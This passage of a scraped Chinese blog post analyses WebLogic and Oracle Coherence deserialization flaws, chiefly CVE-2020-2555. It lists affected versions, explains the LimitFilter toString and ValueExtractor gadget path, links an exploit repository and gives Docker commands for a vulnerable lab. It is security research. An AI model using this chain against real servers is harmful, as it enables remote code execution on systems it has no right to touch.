255)&#34;}]},{&#34;text&#34;:&#34;，而response的example中不会像CVE-2016-0618一样出现weblogic.jms.common.StreamMessageImpl，故weblogicScaner的检测项变为了&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;org.apache.commons.collections.functors.InvokerTransformer&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#000000&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q9oS-1673920002593&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5219/WEBRESOURCEcc5ca083536ac7311b69e55852a8e032&#34;,&#34;width&#34;:635,&#34;height&#34;:546},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;K3zX-1673920205587&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5222/WEBRESOURCEdc1b0d12439c1f9f6fdc9dc8972f5702&#34;,&#34;width&#34;:637,&#34;height&#34;:543},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;np3H-1673920001206&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DBsz-1673920001205&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FJUY-1673936935586&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Ys9s-1673936935581&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;CVE-2020-2555&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OwuD-1673922234954&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yS31-1673922234953&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;影响范围：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ruzm-1673936953422&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;listId&#34;:&#34;sBbI-1673936953408&#34;,&#34;listLevel&#34;:1,&#34;listType&#34;:&#34;unordered&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qU34-1673936953423&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 3.7.1.17&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eE9f-1673936963388&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CKbL-1673936963387&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.1.3.0.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:1}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lVJs-1673936963390&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YfQZ-1673936963389&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.3.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:2}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Anr0-1673936963392&#34;,&#34;name&#34;:&#34;list-item&#34;,&#34;data&#34;:{&#34;listId&#34;:&#34;nLmv-1673936968305&#34;,&#34;listType&#34;:&#34;unordered&#34;,&#34;listLevel&#34;:1,&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LuIy-1673936963391&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Oracle Coherence 12.2.1.4.0&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{&#34;index&#34;:3}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pLgP-1673940724811&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U9ID-1673940724809&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;且JDK &gt; 8u76&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lNad-1673937260541&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3V9E-1673937260539&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;漏洞分析&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22},{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3NKv-1673937258030&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;style&#34;:{&#34;textAlign&#34;:&#34;left&#34;}},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pmp2-1673937258027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; 主要是Oracle Coherence中的LimitFilter类存在一个toString方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfh5-1673941101504&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;java&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MNef-1673941101479&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ECOo-1673941101478&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public String toString () {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eaLG-1673941101481&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fwee-1673941101480&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    StringBuffer sb = new StringBuffer(\&#34;LimitFilter: (\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FYof-1673941101483&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s3ip-1673941101482&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(this.m_filter).append(\&#34; [pageSize=\&#34;).append(this.m_cPageSize).append(\&#34;, pageNum=\&#34;).append(this.m_nPage);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oveD-1673941101485&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d65M-1673941101484&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.m_comparator instanceof ValueExtractor) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PPoc-1673941101487&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DEeq-1673941101486&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ValueExtractor extractor = (ValueExtractor)this.m_comparator;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EX2K-1673941101489&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;oQOY-1673941101488&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, top=\&#34;).append(extractor.extract(this.m_oAnchorTop)).append(\&#34;, bottom=\&#34;).append(extractor.extract(this.m_oAnchorBottom));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7S48-1673941101491&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QGnw-1673941101490&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else if (this.m_comparator != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XiJF-1673941101493&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tvRK-1673941101492&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        sb.append(\&#34;, comparator=\&#34;).append(this.m_comparator);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qjOL-1673941101495&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WGQx-1673941101494&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8rSh-1673941101497&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jB2O-1673941101496&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OOFm-1673941101499&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Duae-1673941101498&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sb.append(\&#34;])\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3WP6-1673941101501&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NTSs-1673941101500&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    return sb.toString();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;meIj-1673941101503&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cqvv-1673941101502&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gfYD-1673937394396&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zhi8-1673937394394&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;传入的对象若是继承自ValueExtractor类则会调用其extract方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HHlR-1673942089626&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5280/WEBRESOURCE97805d0cd1508976378ea7dc181cc994&#34;,&#34;width&#34;:2178,&#34;height&#34;:1090},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tFXm-1673937394581&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Cv8o-1673937394579&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;可利用的类不止一个，比如com.tangosol.coherence.rest.util.extractor.MvelExtractor的extract方法将会直接执行Mvel表达式：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;d5Lb-1673942993611&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5284/WEBRESOURCEf0e388f9350b3a52ab91ac1ebb28d0a3&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;jSs3-1673937394754&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uVKL-1673937394753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6gza-1673946934904&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;04BA-1673946934903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;46s3-1673947020224&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0WKI-1673947020223&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/Y4er/CVE-2020-14756/blob/64a929da679400eecf7f7722199feeba58347112/CVE_2020_14756.java&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9v4V-1673947020226&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sdps-1673940653476&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;width&#34;:704,&#34;height&#34;:471},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5265/WEBRESOURCE0aadb24105ef7b0292da9ec0279f2a04&#34;,&#34;initialSize&#34;:{&#34;width&#34;:704,&#34;height&#34;:1300},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VLIT-1673940711109&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R6Sw-1673940711110&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q6aX-1673940701477&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;width&#34;:705,&#34;height&#34;:491},&#34;nodes&#34;:[],&#34;state&#34;:{&#34;renderSource&#34;:&#34;https://note.youdao.com/yws/res/5267/WEBRESOURCE46f47dc4b6e8b7d30647861283b14dba&#34;,&#34;initialSize&#34;:{&#34;width&#34;:705,&#34;height&#34;:1382},&#34;loading&#34;:false}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;01zo-1673861449893&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NonR-1673861449892&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;后记&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dU1v-1673575967334&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;sl9B-1673575967332&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;参考文章：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QQ5l-1673575720108&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TZl9-1673575720107&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;qpLh-1673575948943&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zRvk-1673575948942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10365#toc-6&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vqad-1673575948944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n1fj-1673577318648&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTAT-1673577318646&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;q9D8-1673577319028&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UrP6-1673577319027&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://xz.aliyun.com/t/10563#toc-10&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LcXy-1673577319029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rynN-1673575952755&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T6dR-1673575952752&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;eXpr-1673575953055&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4cY3-1673575953054&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://www.anquanke.com/post/id/226070#h2-15&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h2uO-1673575953056&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SqwR-1673575959748&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lAcW-1673575959746&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;9rNx-1673575960046&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hFJs-1673575960045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&amp;mid=2247485058&amp;idx=1&amp;sn=d22b310acf703a32d938a7087c8e8704&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wgeu-1673575960048&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iNWq-1673575964381&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SWgC-1673575964378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;Ns7j-1673575964739&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;http://wjlshare.com/archives/1573&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qxIl-1673575964738&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;http://wjlshare.com/archives/1573&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;t6eF-1673575964740&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SLif-1673947585247&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{&#34;version&#34;:1},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XOpO-1673947585245&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;2mKY-1673947585794&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xYfr-1673947585793&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://tttang.com/archive/1768/#toc_&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vq2F-1673947585795&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0); color: rgb(0, 0, 0); text-align: start; white-space: normal;"><p><span style="font-size: 15px;">记录Weblogic漏洞分析过程，参考了很多师傅的分析文章，链接放在后记中。</span></p><p><span style="font-weight: bold;font-size: 28px;">正文</span></p><p><span style="font-weight: bold;font-size: 20px;">环境搭建</span></p><p><span style="font-size: 15px;">搭建环境参考：</span></p><p><span style="color: rgb(0, 56, 132);font-size: 15px;"><a href="https://github.com/QAX-A-Team/WeblogicEnvironment" target="_blank">https://github.com/QAX-A-Team/WeblogicEnvironment</a></span></p><p><span style="font-size: 15px;">将对应版本的JDK与Weblogic分别放入/jdks和/weblogics目录中：</span></p><p><img class="rich_pages wxw-img" data-ratio="0.4703196347031963" style="width: 535px;height: 251px;" data-type="png" data-w="1314" src="https://wechat2rss.xlab.app/img-proxy/?k=0ec5ccfb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21y3ggMgibnhyE9tlrHiaGPwVPqUB0MBJ3kvE8f9jrZPicdicaEMzewhuVCvg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-size: 15px;">Oracle官网即可下载：</span></p><p><span style="color: rgb(0, 56, 132);font-size: 15px;"><a href="https://www.oracle.com/java/technologies/downloads/archive/" target="_blank">https://www.oracle.com/java/technologies/downloads/archive/</a></span></p><p><span style="color: rgb(0, 56, 132);font-size: 15px;"><a href="https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html" target="_blank">https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html</a></span></p><p><span style="font-size: 15px;">Oracle WebLogic Server 10.3.6支持的最低JDK版本为JDK1.6， Oracle WebLogic Server 12.1.3支持的最低JDK版本为JDK1.7，Oracle WebLogic Server 12.2.1及以上支持的最低JDK版本为JDK1.8。</span></p><p><span style="font-weight: bold;font-size: inherit;">Docker构建：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer">docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21</span></code></pre></section><p><span style="font-size: 15px;">由于Centos8已与2022年底停止维护，这里需要提前跟换yum源</span>：</p><p><img class="rich_pages wxw-img" data-ratio="0.584375" style="width: 605px;height: 355px;" data-type="png" data-w="2560" src="https://wechat2rss.xlab.app/img-proxy/?k=06ab604f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7llSfutMHnJ5ib61L0ah21yp7ks1YFEXicF7OQ2oXGCpp5YicQrHicued8HAomAfBhdwXdvZondTGlyg%2F640%3Fwx_fmt%3Dpng"/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">RUN cd /etc/yum.repos.d/</span></code><code><span class="code-snippet_outer">RUN sed -i &#39;s/mirrorlist/#mirrorlist/g&#39; /etc/yum.repos.d/CentOS-*</span></code><code><span class="code-snippet_outer">RUN sed -i &#39;s|#baseurl=<a href="http://mirror.centos.org|baseurl=http://vault.centos.org|g" 